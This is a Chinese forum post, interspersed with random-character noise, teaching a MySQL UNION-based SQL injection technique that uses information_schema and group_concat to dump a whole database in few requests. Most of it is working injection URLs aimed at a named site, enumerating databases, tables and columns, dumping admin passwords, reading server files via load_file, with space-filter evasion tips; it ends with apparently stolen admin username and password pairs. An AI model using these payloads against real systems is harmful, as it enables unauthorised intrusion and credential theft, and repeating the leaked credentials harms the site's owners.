mysql注入高效方法

admin

此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
  p! M8 q: m, C# K6 ~但此方法大大提高了读取数据库的速度,此方法并非本人原创，原创出处是国外某牛人
1 }+ Y% @0 x# N  U1 k6 d

; j: K6 o; c1 t. A3 O优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入

" v" T) r# N- I缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...
" D2 ~2 v( R; s3 `. G
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
在注入时根据实际情况作出变化 比如过滤了空格，使用/**/ ,  + 等等

http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17
" a  b/ f6 l+ Z. {/ y2 e3 o, G# G4 O
' L6 g( l1 c7 B6 q4 i: S- F读出所有库:
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA

6 M) {$ P* S& I/ t$ O* |

读出所有表:
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()
9 E+ q0 c- d1 Q8 M3 A3 O
' n' S  g% e% \9 j) U9 B- t读出所有表字段:
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
& F( x/ P/ @1 V& P  r*/ (97,100,109,105,110)为admin的ascii码 依次类推

2 @1 E8 \1 {. Y) F读出所有表字段里的内容:
% x! Y# P" C! d7 ahttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
* i0 {+ I+ Q9 R! h
1 F) ^  [6 b. s* {- R% \3 ^
1 @, U$ }/ ]! p' v' r, s, ]7 R" e9 ~



: M# E$ @% J0 Y( Z0 l' ]http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23

5 _7 r" T! k$ s1 [; S) H
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
6 z7 u+ ?; Q/ i/ g
* v" \) b$ h7 j! G8 e( e' @http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
6 Z& H' o& P4 z% C

, T8 }! {- j+ W" Xhttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23


; M  ~+ T) ~$ o0 |0 p0 M        webmaster:dzb521123,simlab:simadmin20043233